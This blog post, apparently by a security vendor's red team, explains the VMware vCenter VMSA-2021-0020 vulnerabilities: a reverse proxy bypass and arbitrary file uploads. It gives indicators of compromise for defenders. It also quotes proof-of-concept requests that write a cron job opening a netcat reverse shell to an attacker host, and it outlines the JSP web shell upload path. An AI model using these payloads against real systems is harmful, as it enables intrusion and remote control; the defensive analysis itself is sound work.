On September 21, 2021, VMware released VMSA-2021-0020 detailing information on 19 vulnerabilities affecting vCenter Server. Some of these can be exploited independently, or in conjunction, to remotely execute arbitrary code on vulnerable systems.
Following the disclosure, the United States Cybersecurity and Infrastructure Security Agency (CISA) advised all affected organizations to take immediate action. They predicted a high likelihood that foreign actors would move quickly to exploit the vulnerability. More recently, increased scanning for vCenter instances has been reported, and active exploitation has been confirmed.
By September 27, 2021, the Randori Attack Team had successfully developed a reliable working exploit, tested it in a lab environment and began leveraging the capability as part of Randori’s continuous and automated red team platform. For defenders looking for a way to determine whether or not they’ve been compromised, indicators of exploitation for these CVEs are included below. Jump ahead if that’s what you’re looking for.
VMware vCenter is widely adopted in the enterprise and has been observed in Randori client environments. Our research shows the vulnerabilities addressed in VMSA-2021-0020 are serious issues, and affected organizations should take immediate action to ensure the security of impacted devices. It’s important to note that this vulnerability only affects vCenter versions 6.5, 6.7, and 7.0. Organizations running earlier or later versions are not at risk to these specific vulnerabilities.
The mitigation steps provided by VMware are clear, but the Randori Attack Team encourages those with exposed instances of affected vCenter Server to ensure they have monitoring in place. They should also review any logs between September 21 and when mitigations are applied for unusual activity.
The Randori Attack Team is continuing to monitor the situation and will update this blog as we learn more.
As the vulnerabilities patched in VMSA-2021-0020 allow for myriad and varied combinations and methods of exploitation, the following sections will delve into their teleological capabilities as investigated by the Randori Attack Team. All the vulnerabilities discussed have been exploited in our lab environment. At this point in time, we’ll only share information that is useful to defenders looking for indicators of compromise, and not disclose the full exploit.
HTTP Reverse Proxy Bypass(es)
There are two vulnerabilities mentioned that deal with reverse proxy bypasses (CVE-2021-22017 and CVE-2021-22006). To understand the impact of this type of issue a brief explanation of vCenter’s HTTPS attack surface is required.
VMware vCenter has a number of web applications reachable via the external HTTPS interface listening on TCP port 443. There also exist URLs that are reserved for vCenter to use internally and are restricted to local connections from the system itself. The reverse proxy running on vCenter governs whether an incoming request is allowed to reach the (usually more sensitive) internal endpoints. It does this by mapping the source of the request and the URL requested to a set of rules. On vCenter, these rulesets reside in:
For example, here is a rule we’ll refer to later that redirects external HTTPS connections to a locally listening service on port 15080:
/analytics/telemetry/ph/api/hyper/send local 15080 redirect allow
If a requested URL does not match (or can be made to incorrectly match) a rule, unintended routing of the request can result. This type of vulnerability is commonly referred to as a “Confused Deputy” problem (and more formally categorized as CWE-441 Unintended Proxy or Intermediary).
In the case of the vulnerabilities fixed by VMware, the reverse proxy is vulnerable to parsing URLs that contain a directory traversal of the form:
For example, if an attacker wanted to reach an otherwise restricted URL such as:
they could request:
This can be utilized to exploit either of the two arbitrary file upload vulnerabilities referred to in sum as CVE-2021-22005.
Arbitrary Upload in AsyncTelemetryController
One of the issues addressed in VMSA-2021-0020 is an arbitrary file upload affecting the AsyncTelemetryController interface. This endpoint is reachable by sending a POST request to one of the two following URLs:
There exists a directory traversal issue that can be abused by a remote attacker to execute remote code on the system. This vulnerability requires a non-default configuration of vCenter. Specifically, the system must be enrolled in the VMware Customer Experience Improvement Program (CEIP), which is opt-out by default.
Proof-of-concept code is now public demonstrating how this can be achieved in the affected configuration. The example issues a POST request with a malicious parameter specifying the location to write a cron job that invokes a reverse shell to connect to the attacker:
https://HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/NAME" -H Content-Type: -d "* * * * * root nc -e /bin/sh ATTACKERHOST PORT"
The following characteristics can be be used to identify exploitation attempts:
- Anywhere in the request URL contains:
/analytics/telemetry/ph/api/hyper/send ; or
- The _i parameter contains directory traversal characters of the form:
- The /etc/cron.d directory contains a file with extension .json
Due to the reverse proxy bypass, the entirety of the URL should be inspected, not just the beginning. For example this form of request may be possible (but was not tested by Randori):
https://HOST/analytics/cloudhealth/sdk/..;/..;/..;/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/NAME” -H Content-Type: -d “* * * * * root nc -e /bin/sh OTHERHOST PORT”
Arbitrary Upload in DataAppController
In isolation, the impact of this vulnerability appears to be low as the endpoint is not directly reachable remotely. However, when used in conjunction with a reverse proxy bypass, it can be abused to execute remote code.
This vulnerability is similar conceptually to the AsyncTelemetryController issue, but differs in a few key ways:
- It affects default configurations of vCenter.
- The endpoint is not directly reachable remotely.
- There exist less restrictions on the name, content, and location of the file uploaded.
The vulnerable endpoint URL is
but is not allowed by the reverse proxy ruleset defined in:
Using the proxy bypass vulnerability, this endpoint can be reached by sending any of the following URLs or variations thereof (where $DATAAPP is analytics/ph/api/dataapp/agent):
Once the endpoint has been accessed, the code within the DataAppController code can be leveraged to upload a file with completely controlled contents to an arbitrary location, owned by the root user.
As exploitation of this vulnerability must make use of the reverse proxy bypass discussed earlier, that detection guidance can also be applied here.
The most direct way to exploit this, and the method public proof-of-concepts are currently mentioning, is to create a JSP web shell within a web accessible directory and then issue commands to it via subsequent requests.
There are two requests that must occur to upload a file to the system:
- This request will contain a JSON body
- This request will contain an JSON body with embedded XML
- The XML will contain the contents of the uploaded JSP file
Afterwards, requests are made to the uploaded JSP file. Public exploit code is utilizing an identifiable method to do so. The requests are currently being made to:
where RANDOM is a randomly generated string. However, due to the reverse proxy ruleset, the following URLs are also valid:
This will result in the following artifacts on the vCenter system that are indicative of an attack:
- A JSP file in /usr/lib/vmware-sso/vmware-sts/webapps/ROOT
- Recently created and randomly named files in/etc/vmware-analytics/agents
- The files contain the following from public exploits:
- The files contain the following from public exploits:
Based on our research, we can confirm that these vulnerabilities are very serious issues and affected organizations should take immediate action to ensure the security of impacted devices.
Organizations that have or had affected vCenter versions exposed to the Internet, since the vulnerability was made public on September 21, should assume that an adversary may have gained access to their network and review historical logs for anomalous behavior, such as abnormal usernames or source IP connections, and signs of compromise.
Organized concerned they may have vCenter exposed to the internet, can find out by requesting a free Randori attack surface review with our team of experts.